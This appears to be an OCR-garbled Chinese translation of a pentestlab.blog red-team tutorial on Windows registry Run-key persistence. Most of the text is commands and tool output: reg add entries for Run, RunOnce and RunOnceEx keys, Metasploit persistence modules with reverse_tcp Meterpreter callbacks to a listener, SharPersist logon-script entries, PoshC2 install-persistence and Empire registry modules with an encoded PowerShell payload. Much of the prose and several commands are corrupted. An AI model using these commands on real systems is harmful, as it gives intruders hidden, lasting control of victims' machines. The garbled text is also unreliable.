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BRI BNRES 1T HbR, MASRIE SN IR S 2085
FEWIndows & s 1 [5) 61 @4 B TR S 2k 1O T S U 2L BA Sk T il B I B 5 2 — o X R A
PER RSB @y s i S Mg R Z A T A LA, inMetasploit. EmpirefiSharPersist, #pf2
BETXFIEEST, L, A SOCHT P REMSAS T 2 X FhoE R TE 50
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TENE AT DA iR N I8 75 DASEERE AE o TR SEBH A0 0] P 8 S ISR T 1 S B S 380 5
AT, R MR A 5 R A s PR B AL A P AR R o B

reg add "HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run" /v
Pentestlab /t REG _SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v
Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add

"HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v
Pentestlab /t REG _SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add

"HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v

Pentestlab /t REG SZ /d "C:\Users\pentestlab\pentestlab.exe"

C: g "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\
pentestlab e
he operation completed successfully.

"URRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "

\RunServices" /v Pentestlab /t REG_S

ion\RunServicesOnce" /v Pentestlab /t REG SZ

FEMEE — 401 - fRungd

IR EPAFRTTRYSESG, WA ARG E, MARSETH ), FOVERIA SRR
RERS AT, M5 RES B3ty i = ek
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reg add "HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v
Pentestlab /t REG SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce"
/v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add

"HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v
Pentestlab /t REG SZ /d "C:\tmp\pentestlab.exe"

reg add

"HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
/v Pentestlab /t REG Sz /d "C:\tmp\pentestlab.exe"

]

hts reserved.

ftw i t\Winc \ “rentV ion\Run" /v Pentestlab /t

"HKEY_LOCAL_MACHINE\Softwar icr t\Windows\CurrentVersion\RunOnce" /v Pentestlab

1ACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentes

!

/_LOCAL_MACHINE ftware\Microsoft\Windo ~rentVersion\RunServicesOnce" /v Pe
entestlab.exe”
The uperatian completed succ fully.

C:\Windo ystem32>

TEMRR = A R LRun g
FET s, AR ek I T S L4 Meterpeter

.0.2.21:4444
nding stage byt“b} tu 10.0.2.30
erpreter se opened (10.0.2.21:4444 -> 18.8.2.30:51339) at 2019-09-
06:37:24 -0400

Sending sta (206403 bytes) to 190.0.2.30
Meterpreter session 2 opened (10.0.2.21:4444 -> 10.0.2.30:51340) at 2019-089-
06:37:25 -0400

meterpreter

Meterpreter —Runf#

FIIN R, Xy B ] AAVRZL B P TR A R D s DLLAR SE LR AN . IX 2GRS
AT, I HFREEH RGO AL

reg add

"HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v
Pentestlab /t REG _SZ /d "C:\tmp\pentestlab.exe"

reg add

"HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep
end" /v Pentestlab /t REG SZ /d "C:\tmp\pentestlab.dll"




TCP handler on 10.0.2.21:4444
06403 by to 10.8.2.
ion 8 opened (10.0.2.2

(2
5

1:4444 -> 10.8.2.30:51354) at 2019-09-

Meterpreter —{f-7=DLL

Metasploit

Metasploit Frameworkii i (i ] Meterpreter i A1 5 ] AL SR I VE IR A FS AN o
Meterpreter il A4 IVBSHA R A O — DM AR 3k, % MECHpHEs eI b, IR o —ME
MW, Z R P8 SR S T R

run persistence -U -P windows/x64/meterpreter/reverse tcp -i 5 -p 443 -r
10.0.2.21

meterpreter > run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.08.2.21

[!'] Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.

['] Example: run post/windows/manage/persistence exe OPTION=value [...]

[* Running Persistence Script

[*] Resource file for cleanup ¢ ted at /ro s/persistence/0UTLOOK 190928.5745/0UTLOOK_208196928.5745. rc
[*] Creating Payload=windows/ erprete ] LHOST=10.0.2.21 LPOR 43

[*] Persistent agent script is 9 bytes long

[+] Persistent Script written to C:\Users\panag\AppData‘\Local\Temp\AoJlgqpaqKzj.vbs

[*] Executing script C:\Users\panag\AppData\Local\Temp\AolqpagKzj.vbs

[+ ] Agent executed with PID 5752

[*] Installing into autorun as HKCU\Softw \Microsoft\Windo irrentVersion\Run\BYXJP0gifgk
[+ I Installed into autorun as HKCU\Softwa Microsoft\Window urrentVersion\Run\BYXJP0gifgk
meterpreter > |j

Metasploit — Meterpreterd A P i 4<

PR RGN, KBTI FRyMeterpreter 2t

msf5 exploit(

[*] Started reverse TCP handler on 10.0.2.21:443

) to 10.0.2.30
g 2.21:443 -> 10.0.2.30:49674) at 2019-09-28 15:32:58 -0400

Metasploit — Meterpreter<:if

TN, AR R, a TR A AR B LU ECE, FRR A AT SO R E AR 2 S R
NI REE VA=

use post/windows/manage/persistence exe
set REXEPATH /tmp/pentestlab.exe

set SESSION 2

set STARTUP USER

set LOCALEXEPATH C:\\tmp

run
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msf5 exploit(

msf5 post(

REXEPATH == /tmp/pente

msf5S post( ] et SESSION 2
SESSTION == 2

msf5 post( ] et STARTUP USER

STARTUP == USER

msf5 post( ] et LOCALEXEPATH C:\\tmp
LOCALEXEPATH == C:\tmp

msf5 post(

Metasploit — 45 A PRI 5 TFA SR BCE
H1 T B USERVEONIEIN, AR 410 1 - B = B

msf5 post(

Running module against OUTLOOK
Reading Payload from file /tmp/pentestlab.exe
Persistent Script written to C: \tmp\default.
uti script C:\tmp\default.e
Agent cuted with PID 3904
Installing into autorun as HKCU\Software\Mic
Installed into autorun as HKCU\Software\Micr 0 e
Cleanup Meterp er RC File: /root/.msf4/logs/persis trﬁ(r;OUTLOOV 20196928.4631/0UTLO0OK 20190928.4631.rc
Post module ution completed
msf5 post( ) = I

Metasploit —F¢ A1 5 # T & Fith

RS RGBSR, AT LR ZAs b i] B oA /e HKLIM B i G 2 e R 0. 1% STARTUP;EI
KRB RS

set STARTUP SYSTEM

nsf5 post( ) = run

Punnlng module against OUTLOOK
1ng deludd from file /tmp/pentestlab
Sscript written to C:\tmp:default

cript C:\tmp\default.exe
cuted with PID 3460

g into autorun as HKLM\S nftwdrr\MlCrnkuft\Wlﬁdnwf\(UrrwntVr ion\Run\PjDkIaiX
Iﬁhtdllrd into autorun as HKLM\Softwar icroso i e on\Run\PjDkIaiX
Cleanup M v er RC Fil oot/.msf4/logs/persis twncf;OUTLOOV 20190928.1531/0UTLOOK 20190928.1531.rc
Post modu ution completed

Metasploit —{F -k RGe#5 A A

SharPersist

SharPersist/#Brett Hawkins{rC# iF A LE, B4 T2 AMEEA, fiEHRinEmEsfT
Mo 1z T AT LIN#R ) 55 s gt hnai n & Frdr SR HIfE 4, flanCobalt StrikefiPoshC2, AN
i A NENIERTL, RIS A 5 Metasploit Framewor Ko A iy i e o B AT
BRI

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add
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https://github.com/fireeye/SharPersist
https://twitter.com/h4wkst3r

2\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab” -m add

\CurrentVersion\Run

[+] SUCCESS: Registry

SharPersist — LI 7 G455 11

IR EPAFRTFRIVTIRR,, IEEHan & DAEARM T AU B e a i m,  ASEBArA - 93
e

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env

:\tmp\pentes xe" -k "hklmrun" -v "pentestlab” -m add

ion' Run

SharPersist — 73} 5#SYSTEM

SharPersistif i RunOncefIRunOnceEX i L Wi & # Atk EE . LAN fiy & AR ix Lo o B 1
T, XL RIS TR A BIAE

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c
pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c
pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c
pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add




" -k "hklmrunonce v ern lab™ -m add

dding re
na

INFO:

¢ "Pentestlab” -m add

" -k "hkcurunonce" -v "Pe ab” -m add

Command: C:
and

SharPersist — RunOnce i} 1

SharPersistif 24t 1 (i fi 55 — M E MR AL B T3 A A9 (UserInitMprLogonScript) .

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c
pentestlab.exe™ -k "logonscript" -m add

:\Users>SharPersist -t reg - \ ystem32\cmd.exe" -a "/c pentestlab.exe” -k "logonscript" -m add

Adding registry persistence
ommand: C:\Windows\System
Command Args: /c pentestlab
INFO: Registry K HKCU\Environment
INFO: Reg ry Value: UserInitMprlLogonScript

INFO: Option:

sistence added

SharPersist — &5t A

VN

PoshC2

PoshC237 e Fifr AVEINRE, GRS E. LUN 6 A HAR RPN R
T

install-persistence
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OUTLOOK
sistence

PoshC2 —#p A

LRI st B A TEUpdatey &7k, LMERRR G, 88— MEMZFRIUEE AR EERAE =M
i%l:'j o

gainst implant 3 on host OUTLOOK\panag* @ OUTLOOK (05/10/2019 16:

host OUTL

PoshC2 — it ia r4d
Empire

AR Empire ffEay @Az F, Empiretl & g Sl ARG T I S R AR T RIS iR
RN, XA S e DL R IR B rh 2o debase 6 4 A R4 :

HKCU: SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
HKLM: SOFTWARE\Microsoft\Windows\CurrentVersion\Debug

B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion

v CurrentVersion ~ || Name Type Data
AccountState abl(Default) REG_SZ (value not set)
ActivityDataModel B Debug | REG_SZ SQBGACgAJABQAFMAVgGBFAFIAUWBJAGBAbC
AppBroadcast
AppHost
Applets

ApplicationAssociatior
Authentication
BackgroundAccessApf

CanahilitvAccessMana

Empire — Debug £ 10f 24 714
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usemodule persistence/userland/registry
usemodule persistence/elevated/registry*

et Listener http

Empire —Persistence Registry Module

K e FxUpdater QIS — DRI, ZIE RIS & 2T & . PowerShellf§24i76
YO iz TDebug i g ARk AR, DASEERF A

HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM: SOFTWARE\Microsoft\Windows\CurrentVersion\Run

]
File Edit View Favorites Help

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

PrecisionTouchPad ~ | Name Type Data
Prelaunch ab|(Default) REG_SZ (value not set)
Privacy B ablOneDrive REG_SZ "C:\Users\panag\AppData\Local\Micro
PushNotifications 88| Updater REG_SZ "C:\Windows\System32\WindowsPowe
RADAR
Run Edit String X
RunOnce
RunServices Value name:
RunServicesOnce Updater
Screensavers Value data:
Search : : :
. . HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug);powers
Security and Maintene .
SettingSync Cancel
Shell Extensions

Empire — Registry Run Key

FEICATH] KX HIBYPasS BHFEIE, (T4 LW T T o

JAR ) https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/



https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/
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